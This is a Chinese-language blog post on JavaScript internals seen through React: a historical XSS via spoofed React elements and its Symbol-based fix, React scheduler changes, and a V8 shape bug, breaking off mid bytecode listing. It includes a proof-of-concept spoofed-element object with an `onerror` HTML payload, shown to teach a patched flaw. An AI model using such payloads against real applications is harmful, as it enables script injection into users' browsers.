    <content type="html"><![CDATA[<p>前陣子去 <a href="https://2025.jsdc.tw/">JSDC</a> 的線上前導活動分享了這個主題，想說既然都分享了，不如就寫篇文章好了。這篇文章的靈感來源以及內容其實都是來自於<a href="https://www.tenlong.com.tw/products/9786267757048">《JavaScript 重修就好》</a>。當初寫書的時候就有參考 React 原始碼中的一些東西，這篇只是把原本分散在書中的各個 React 相關章節整理起來重寫一遍。</p><p>我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。</p><p>這篇分成三個小章節：</p><ol><li>React 舊版的 XSS</li><li>從 React Fiber 學習 event loop</li><li>從 V8 bug 學習底層運作</li></ol><p>開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。</p><span id="more"></span><h2><span id="react-舊版的-xss-漏洞">React 舊版的 XSS 漏洞</span></h2><p>請問底下這段程式碼有什麼資安問題？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>看一看好像沒什麼問題？不就 render 一個 name 嗎，在 React 裡面會自動做 encode，所以就算插入一個 <code>&lt;img&gt;</code> 也不會被當作標籤解析，而是會被轉換成純文字，看起來沒問題。</p><p>若是我們繼續把這段程式碼展開，從 JSX 變成 JavaScript，大概會類似於這樣：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX 語法會在 compile 的時候變回 JavaScript，舊版會用 <code>React.createElement</code>，新版改成 <code>_jsx</code> 了，但不管 API 長怎樣，總之就是一段建立 element 的 JavaScript。</p><p>而這些 function 執行完以後就會產生所謂的 virtual DOM，再次展開成 object 的話會類似於：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>而 React 在 render 的時候，就會根據這個 object 去 render，並且展示出我們所傳入的 name。</p><p>但問題來了，像是 <code>qs</code> 這種 library，其實是支援物件的，例如說 <code>?name[test]=1</code>，name 會變成 <code>&#123;&quot;test&quot;: 1&#125;</code>，因此這個 name 雖然你怎麼看都應該是字串，但實際上可以是個物件。</p><p>儘管通常傳物件會被 React 擋掉，但你有沒有想過這些 component 其實也是個物件？那 React 是怎麼決定一個 object 到底是不是 component 的呢？</p><p>在舊版的 React 中，這個檢查非常簡單：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>只要有 type 有 props，就把它看作是一個 React component。因此，如果我們的 name 是底下這樣，就會被當作是 React component 被渲染出來：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>如此一來，就成功利用了這個特性，假裝是 React component 並且 render 出任意的 HTML，構造出了一個 XSS 漏洞。</p><p>這個漏洞最早在 2015 年時被 Daniel LeCheminan 發現，還寫了一篇文章：<a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>，不過原文的情境稍微不同就是了。</p><p>總之呢，這個問題被 React 關注到，開了一個 issue 進行討論：<a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>，而最後的 fix 在這：<a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>。</p><p>解法就是：Symbol。</p><p>在 React component 上加了一個 <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code>，並且在 <code>isValidElement</code> 的檢查中也把這個判斷加上，就能確保其他物件沒辦法偽造出一個 React component。</p><p>背後的原理就是 symbol 的特性，與一般的物件不一樣，symbol 就只會跟同一個 symbol 相等，而 JSON 反序列化是不支援 symbol 的，所以你只能創造出普通的物件，沒辦法做出一個 symbol，自然就偽造不了 component 了。</p><p>以後有人問你 symbol 可以用在哪裡的時候，可以拿這個案例去回答。</p><p>另外，其實除了前端，後端也是一樣的，例如說 JavaScript 的 ORM：<a href="https://sequelize.org/">Sequelize</a> 舊版本的 operator 也是用字串，例如說：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但從 v5 開始就全部換成 symbol 了，已經棄用了原本的字串：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>背後原因相同，都是資安上的考量，當初的 PR 在這裡：<a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>。</p><p>話說直播的時候有人問，那如果你可以創造出一個 symbol，是不是這些防禦就沒用了？答案是：沒錯。但通常你要能做出 symbol，要嘛你已經可以執行程式碼了，要嘛開發者要自己加一個可以建立 symbol 的 deserializer，這兩個的達成難度都滿高的。</p><h2><span id="從-react-fiber-學習-event-loop">從 React Fiber 學習 event loop</span></h2><p>2018 年的時候我寫過一篇 React fiber 相關的文章：<a href="https://blog.huli.tw/2018/03/31/react-fiber-and-lifecycles/">淺談 React Fiber 及其對 lifecycles 造成的影響</a>，而這個機制一語道破其實就是：「把同步的大 task 切成多個非同步的小 task」，藉此來避開阻塞 main thread。</p><p>那在 JavaScript 裡面，該怎麼來實作這個機制呢？要怎麼安排這些非同步的 task 呢？</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>在最早的 React 16.0.0 版本中，是用瀏覽器內建的 API：requestIdleCallback 來做的，MDN 的描述是：</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p><p>window.requestIdleCallback() 方法會插入一個函式，並在瀏覽器處於閒置時呼叫該函式。這讓開發者能在主事件迴圈中執行背景或低優先度的工作，而不會影響到像動畫或使用者輸入回應這類對延遲敏感的事件。</p></blockquote><p>把原本大的 task 切成小的 task 以後，用 <code>requestIdleCallback</code> 來安排下一個 task，讓瀏覽器在空閒的時候執行，就能不阻礙到 main thread。</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>但是在 React 16.4.0 時，被換成了另一種結合 <code>requestAnimationFrame</code>（以下簡稱 rAF） 跟 <code>postMessage</code> 的方式（這個方式其實一開始是做為沒有 <code>requestIdleCallback</code> 時的替代方案，但在這個版本被扶正，直接取代掉了 <code>requestIdleCallback</code>）。</p><p>在這個機制中，會建立兩種類型的 callback，一個是利用 rAF 安排的 callback，由瀏覽器自動觸發，而另一個則是用 <code>window.addEventListener(&#39;message&#39;, fn)</code> 安排的 callback，透過 <code>window.postMessage</code> 來觸發。</p><p>這個機制實際運作的方式是這樣的，底下每一個 tick 代表一次的 event loop，我們先安排一個 rAF，在裡面計算下次 rAF 應該觸發的時間（就是當前時間 + frame 長度(如 16ms)）：</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>接著在裡面再次呼叫 rAF 還有 postMessage，安排下一次 tick 的 callback：</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>下一步是 browser render，結束之後進入下一個 tick，然後 message handler 被觸發：</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>由於剛剛已經計算過下次 rAF 應該被觸發的時間，所以 message handler 可以趁著這段時間（可能有個 5ms 或更長） 做事，在時間到之前不斷執行小的 task。</p><p>執行完以後 rAF 會再次觸發，做跟剛剛一樣的事情，安排下一個 tick 的 callback，然後 browser render，結束這個 tick：</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>這樣的流程不斷執行下去，就是整個非同步 task 的任務安排機制了，簡單來講就是：</p><ol><li>在 rAF 裡面算出有多少時間可以執行 task 而不干擾 render</li><li>在 message handler 中盡量執行任務</li></ol><p>在 React 原始碼中，rAF 會被叫做 Animation Tick，而 message handler 叫做 Idle Tick。</p><p>那為什麼要用 postMessage 跟 message handler 呢？原因是如果用 <code>setTimeout(fn, 0)</code> 的話，有個經典的 4ms 限制，如果你不斷利用 setTimeout 來安排 task，在重複遞迴安排幾次之後，最短的執行間隔就會變成 4ms，不論你 interval 設多少都一樣。</p><p>而 postMessage 跟 message handler 則沒有這個限制，因此就選了這個。</p><p>但是用 message handler 有個缺點，那就是目前的使用方式是 <code>window.addEventListener(&#39;message&#39;, fn)</code>，因此每次安排 task 時都必須使用 <code>window.postMessage</code>，若是頁面上有別的 listener，就會一直一直被觸發。</p><p>像是有些擴充套件可能會印出所有收到的 message 來幫助 debug，可能每 30ms 左右就會收到一個，log 直接被打爆。像這樣有 side-effect 的行為顯然不是什麼好事，會干擾到其他的實作。</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>所以從 React 16.7.0 開始，就把這段改用 MessageChannel 來做了，這是另一個可以實作訊息交換的 Web API，用法跟原本的其實很像，只是多了個 port 的概念：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>在程式碼的註解中也可以看到為什麼 React 不用 setTimeout，跟我剛剛講的理由是一樣的，加上這個改動的 PR 在這：<a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>。</p><p>看起來好像就是這樣了？這個機制滿合理的，透過兩種不同類型的非同步 task 做不同的事情，並且在不干擾到 render 的前提下盡量做事。</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>但是，在 React 16.12.0 時，機制又變了一次，把 rAF 也拿掉了，只留下 MessageChannel 而已，每次執行最多 5ms：</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>那為什麼要換成這個機制呢？有兩個地方有說明，第一個是 16.12.0 裡的<a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">程式碼</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>翻中文是：</p><blockquote><p>調度器會定期讓出執行權，以便主執行緒上若有其他工作（例如使用者事件）能夠被處理。預設情況下，它在每一幀中會讓出多次。它不會嘗試與畫面更新（frame）邊界對齊，因為大多數任務不需要與畫面對齊；若是需要對齊畫面更新，請使用 requestAnimationFrame。</p></blockquote><p>大意就是因為任務不需要跟畫面 render 對齊，所以就不管 render 了，反正就是一直讓出去。</p><p>第二個説明則是在 <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a> 這個 issue 中，有人問說 scheduler 是不是還在用 <code>requestIdleCallback</code> 時，dan 哥的留言：</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.<br>不行，那個（機制）觸發得太晚，會浪費 CPU 時間。對我們的使用情境來說，盡可能充分利用 CPU 非常重要，而不是等到某個閒置時間才開始做事。所以我們改成自己寫一個每 5ms 就讓出一次的循環。</p></blockquote><p>解惑了為什麼一開始把 <code>requestIdleCallback</code> 淘汰掉，因為觸發的太晚了。</p><p>那現在最新的 v19.2.0 版本的實作又是如何呢？</p><p>從<a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">程式碼</a>中可以看出來，基本上就是上面那一套機制了，沒有太多改變，一樣是用 MessageChannel 安排 task，然後每隔一段時間讓出去。</p><h3><span id="不遠的未來原生-scheduler-api">不遠的未來：原生 Scheduler API</span></h3><p>其實 Scheduler 這東西不止 React，只要需要非同步安排任務的都會用到。因此，瀏覽器其實有提供原生的 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>，只是很新所以支援度不太好，但可以預見在未來可能不需要自己寫一套了，用瀏覽器原生給的會是最好的。</p><p>事實上，React 現在就有用這個實作一套了，但還是 unstable 的狀態：<a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>，原生直接支援安排不同優先順序的任務，比自己寫方便多了。</p><p>總之，從 React 對於安排非同步任務的程式碼中，可以學到幾個不同函式觸發的時機以及頻率的差別，也可以從這幾次的機制變動中，去了解為什麼 React 做出了這樣的選擇，讓我們更了解這些非同步的細節差異。</p><h2><span id="從-v8-bug-學習底層運作">從 V8 bug 學習底層運作</span></h2><p>延續剛剛講的 React fiber，在<a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">程式碼</a>中有一段 profiler 相關的部分：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>問題來了，為什麼這邊的初始值是 -0 而不是 0？這兩個有什麼差異呢？</p><p>甚至在舊一點的版本中，還先賦值成 NaN 才變成 0，這又是什麼魔法？</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> Number<span class="token punctuation">.</span><span class="token number">NaN</span><span class="token punctuation">;</span>    <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這一切都跟 V8 底層的運作以及一個 bug 有關。</p><p>針對這件事情，其實 V8 自己有一篇部落格文章：<a href="https://v8.dev/blog/react-cliff">The story of a V8 performance cliff in React</a>，裡面講的已經很好了，麻煩自己去讀這篇文章，或是跟 AI 一起看，我就不再重複一次，底下只講結論跟重點。</p><p>首先，儘管我們都知道在 JavaScript 的規格中，<a href="https://blog.huli.tw/2022/02/25/javascript-how-many-types/#6-number">所有的數字都是 double</a>，但是 JavaScript 引擎在實作時可不一定，畢竟如果真的每個數字都存成 64bit 的 double，既會有空間問題也有效能問題，整數做加減也會是浮點數運算，誰受得了。</p><p>因此，在 V8 引擎中，其實數字還是有分兩種，一種是 32bit 的 int 叫做 small integer，簡稱 Smi，而另外一種就真的是浮點數了，叫做 HeapNumber，兩種存的位置是不同的，浮點數要存到 heap 去。</p><p>而為了幫 object 做一些優化，因此 object 在儲存時，會關聯到一個叫 shape 的東西，類似於 object 的 metadata，來存每個值的 type 以及 offset，同樣 interface 的 object 會共享同一個 shape。</p><p>在 object value 的型別改變時，這個 shape 也會一起跟著變，例如說從 Smi 變成 double，就會產生一個新的 shape。</p><p>而 V8 的這個 bug 簡單來講就是在 React profiler 中一開始會把某些值初始化成 0，型別是 Smi，接著用 <code>Object.preventExtensions</code> 來阻止新增新的屬性，然後把這個值改成浮點數（<code>performance.now()</code> 的回傳值）。</p><p>這樣的行為讓 V8 壞掉，不知道該怎麼處理 shape 的改變，於是就新增了一個全新的 shape。而且不只針對這一個 object，是所有類似的 object 都會，都無法共享 shape，而是每人有一個自己的。</p><p>儘管大多數人都不會察覺這種底層的差別，但因為 React 在測試時 node 數量很多，當基數放大後就能察覺到差異，演變成了一個性能問題。</p><p>雖然 V8 把 bug 修掉，所以現在不會有這問題了，但是 React 那邊也修了一版，例如說剛提到的 NaN，會設置成 NaN 是因為它底層是浮點數而不是 Smi，而現今的版本之所以是 -0 也是一樣的原因，-0 是浮點數，0 是 Smi。</p><p>當初始值跟後來的值都是浮點數時，就不會有這個 shape 改變的問題，也就不會碰到這個 V8 bug。</p><p>但是，你有沒有想過要怎麼知道 NaN 跟 -0 是浮點數呢？</p><h3><span id="從-v8-bytecode-看底層型別">從 V8 bytecode 看底層型別</span></h3><p>除了翻規格以外，把程式碼編譯成 V8 bytecode 其實是個很好的方法，例如說底下的函式：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token parameter">x</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> x <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token keyword">function</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">test</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token operator">/</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// NaN</span><span class="token punctuation">&#125;</span><span class="token constant">AAAAA</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>我用指令 <code>node --print-bytecode test.js &gt; out</code> 編譯後，得出的結果為：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">[</span>generated bytecode <span class="token keyword">for</span> <span class="token keyword">function</span><span class="token operator">:</span> <span class="token constant">AAAAA</span> <span class="token punctuation">(</span><span class="token number">0x31bb2f7de971</span> <span class="token operator">&lt;</span>SharedFunctionInfo <span class="token constant">AAAAA</span><span class="token operator">></span><span class="token punctuation">)</span><span class="token punctuation">]</span>Bytecode length<span class="token operator">:</span> <span class="token number">41</span>Parameter count <span class="token number">1</span>Register count <span class="token number">2</span>Frame size <span class="token number">16</span>Bytecode age<span class="token operator">:</span> <span class="token number">0</span>   <span class="token number">62</span> <span class="token constant">S</span><span class="token operator">></span> <span class="token number">0x31bb2f7df776</span> @    <span class="token number">0</span> <span class="token operator">:</span> <span class="token number">17</span> <span class="token number">02</span>             LdaImmutableCurrentContextSlot <span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span>         <span class="token number">0x31bb2f7df778</span> @    <span class="token number">2</span> <span class="token operator">:</span> c4                Star0         <span class="token number">0x31bb2f7df779</span> @    <span class="token number">3</span> <span class="token operator">:</span> 0c                LdaZero         <span class="token 